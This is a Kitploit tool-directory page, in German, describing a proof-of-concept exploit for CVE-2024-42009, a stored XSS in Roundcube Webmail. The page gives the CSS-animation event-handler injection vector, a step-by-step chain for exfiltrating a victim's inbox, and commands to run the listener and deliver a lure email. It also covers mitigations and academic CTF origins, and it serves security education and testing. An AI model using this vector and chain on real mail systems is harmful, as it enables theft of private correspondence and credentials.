Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-42009-roundcube-xss — Stored-XSS-Exploit für Roundcube Webmail ≤1.6.6 (CVE-2024-42009) mit Zero-Click-E-Mail-Exfiltration über CSS-Animation-Event-Handler. Enthält SMTP-Zustellskript und CORS-fähigen Listener für CTF und autorisierte Sicherheitstests. | Kitploit
Tools/GitHubGitHub/segunakinsoyinu/cve-2024-42009-roundcube-xss
Phishing-ToolsExploitationWebanwendungs-ExploitationDatenexfiltrationCTFPenetrationstestsLernen & Bildung
GitHubsegunakinsoyinu/cve-2024-42009-roundcube-xss

CVE-2024-42009-roundcube-xss

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Stored-XSS-Exploit für Roundcube Webmail ≤1.6.6 (CVE-2024-42009) mit Zero-Click-E-Mail-Exfiltration über CSS-Animation-Event-Handler. Enthält SMTP-Zustellskript und CORS-fähigen Listener für CTF und autorisierte Sicherheitstests.

Repository anzeigen
vor 2 MonatenNoch nicht geprüft

CVE-2024-42009 — Roundcube Webmail 1.6.6 Stored XSS PoC

Nur für autorisierte Sicherheitstests, CTF-Umgebungen und Bildungsforschung.
Die Verwendung dieses Tools gegen Systeme, die Ihnen nicht gehören oder für die Sie keine schriftliche Erlaubnis zum Testen haben, ist illegal gemäß dem Computer Misuse Act 1990 (UK), dem CFAA (USA) und gleichwertigen Gesetzen weltweit.


Zusammenfassung der Schwachstelle

FeldDetail
CVECVE-2024-42009
Betroffene SoftwareRoundcube Webmail ≤ 1.6.6
Gepatchte Version1.6.7 / 1.6.8
CVSS v3.1 Score8.8 (Hoch)
CVSS VektorAV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
CWECWE-79 — Unzureichende Neutralisierung von Eingaben bei der Generierung von Webseiten (XSS)
AngriffsartStored XSS → Zero-Click-E-Mail-Exfiltration
Authentifizierung erforderlichKeine (SMTP-Zustellung); Niedrig (Opfer muss die E-Mail öffnen)

Funktionsweise

Der HTML-Sanitiser von Roundcube 1.6.6 entfernt keine JavaScript-Ereignishandler, die an CSS-Animation-Keyframes innerhalb eines fehlerhaften <body>-Tag-Attributs angehängt sind.

Injektionsvektor:

root@kitploit:~
<style>@keyframes x { from { opacity: 1; } to { opacity: 1; } }</style>
<body style="animation: x 0.001s;" onanimationstart="/* beliebiges JS */">

Wenn das Opfer die E-Mail in seiner authentifizierten Roundcube-Sitzung öffnet, wird die CSS-Animation sofort ausgelöst. Der onanimationstart-Handler wird ausgeführt und hat vollen Zugriff auf das rcmail-JavaScript-Objekt, einschließlich des request_token der Sitzung.

Exploit-Kette:

root@kitploit:~
1. Der Angreifer sendet eine bösartige HTML-E-Mail über einen nicht authentifizierten SMTP-Relay (Port 25) an das Opfer
2. Das Opfer öffnet die E-Mail in Roundcube — die Animation wird ausgelöst, JS wird ausgeführt (keine Klicks erforderlich)
3. JS liest rcmail.env.request_token (gültiges CSRF-Token für die Sitzung)
4. JS iteriert über alle Posteingangs-UIDs über die interne Mail-API von Roundcube
5. Jede Nachricht wird abgerufen und ihr Inhalt gesammelt
6. Alle Posteingangsdaten werden als JSON an den HTTP-Listener des Angreifers gesendet
7. Der Angreifer liest die wiederhergestellten E-Mails – diese können Anmeldedaten, Sitzungsdaten oder vertrauliche Kommunikation enthalten

Repository-Struktur

root@kitploit:~
cve-2024-42009-roundcube-xss/
├── exploit.py       # Sendet das XSS-Payload über nicht authentifiziertes SMTP
├── listener.py      # CORS-fähiger HTTP-Server; empfängt und druckt exfiltrierte Posteingangsdaten
├── payload.html     # Eigenständiges XSS-Payload zur manuellen Inspektion oder Zustellung via Burp
└── README.md

Anforderungen

  • Python 3.7+
  • Keine externen Abhängigkeiten (nur stdlib: smtplib, http.server, json, argparse)
  • Ziel muss Roundcube ≤ 1.6.6 ausführen
  • Ziel-SMTP-Server muss nicht authentifizierten Relay auf Port 25 erlauben (häufig in Laborumgebungen)

Verwendung

Schritt 1 — Listener starten (auf Ihrem Angreifer-Rechner)

root@kitploit:~
python3 listener.py --port 8080

Ausgabe, wenn Daten eintreffen:

root@kitploit:~
[+] Exfiltration empfangen von 192.168.62.128
[*] Sitzungstoken : abc123...
[*] Erfasste E-Mails: 19

  --- E-Mail 1 ---
  UID     : 1
  Von     : [email protected]
  Betreff : SSH-Zugangsdaten
  Inhalt  : Ihre Zugangsdaten lauten: ...

Der vollständige JSON-Dump wird automatisch in exfil_dump.json gespeichert.

Schritt 2 — Payload zustellen

root@kitploit:~
python3 exploit.py \
  --smtp 192.168.62.128 \
  --port 25 \
  --from [email protected] \
  --to [email protected] \
  --attacker 192.168.62.129 \
  --lport 8080 \
  --subject "Sicherheitshinweis - Maßnahme erforderlich"

Schritt 3 — Warten, bis das Opfer die E-Mail öffnet

Sobald die E-Mail in Roundcube ≤ 1.6.6 geöffnet wird, gibt der Listener die exfiltrierten Posteingangsinhalte aus.


Warum das funktioniert (technisches Detail)

Der HTML-Reiniger von Roundcube ist dafür verantwortlich, gefährliche Attribute zu entfernen, bevor eingehende HTML-E-Mails gerendert werden. In Versionen ≤ 1.6.6 entfernt der Reiniger korrekt onclick, onerror und ähnliche Handler – entfernt jedoch nicht Ereignishandler für CSS-Animation-Ereignisse (onanimationstart, onanimationend, onanimationiteration).

Da CSS-Animationen als Teil des Renderings (nicht durch Benutzerinteraktion) ausgelöst werden, wird der Handler im selben Moment ausgeführt, in dem die E-Mail geöffnet wird – kein Klick auf einen Link, keine Benutzeraktion außer dem Öffnen der Nachricht.

Das JavaScript-Objekt rcmail ist in jeder authentifizierten Roundcube-Sitzung global verfügbar. Es stellt rcmail.env.request_token bereit, das CSRF-Token der Sitzung. In Kombination mit den eigenen Mail-API-Endpunkten von Roundcube (?_task=mail&_action=list, ?_action=show) kann das Payload den vollständigen Posteingang lesen, ohne eine zusätzliche Authentifizierung auszulösen.


Betroffene Versionen

VersionStatus
≤ 1.6.6Anfällig
1.6.7Gepatcht
1.6.8Gepatcht (empfohlen)
1.5.x LTSHerstellerhinweis prüfen

Abhilfe

MaßnahmeDetail
UpgradeRoundcube 1.6.8 oder neuer behebt diese Art von XSS
CSP-HeaderSetzen Sie Content-Security-Policy: default-src 'self'; script-src 'self' auf dem Webmail-VHost, um die Ausführung von Inline-JS zu blockieren

Referenzen

  • Roundcube Security Advisory
  • NVD — CVE-2024-42009
  • OWASP Top 10 A03 — Injection

Entdeckt / Demonstriert von

Dieses PoC wurde im Rahmen einer Boot-to-Root-CTF-Penetrationstest-Bewertung im Modul Ethical Hacking and Penetration Testing des MSc Cybersecurity an der Coventry University (2025–2026) entwickelt und getestet. Alle Tests wurden in einer isolierten VMware-Laborumgebung mit ausdrücklicher schriftlicher Genehmigung durchgeführt.

Autor: Segun Akinsoyinu
Portfolio: segunakinsoyinu.github.io/MyPortfolio


Rechtlicher Hinweis

Dieser Code wird ausschließlich für Bildungs- und autorisierte Sicherheitsforschungszwecke veröffentlicht. Der Autor übernimmt keine Haftung für Missbrauch. Bevor Sie dieses Tool verwenden, stellen Sie sicher, dass Sie eine ausdrückliche schriftliche Genehmigung zum Testen des Zielsystems haben.

Tool herunterladen
ArgumentBeschreibung
--smtpIP oder Hostname des Ziel-SMTP-Servers
--portSMTP-Port (Standard: 25)
--fromAbsenderadresse (jeder vom Relay akzeptierte Wert)
--toE-Mail-Adresse des Opfers
--attackerIhre IP — wird im Payload als Exfil-Sammler eingebettet
--lportIhr Listener-Port (Standard: 8080)
--subjectBetreffzeile der E-Mail
SMTP-RelayDeaktivieren Sie nicht authentifizierten Relay auf Port 25 – fordern Sie AUTH für alle internen Zustellungen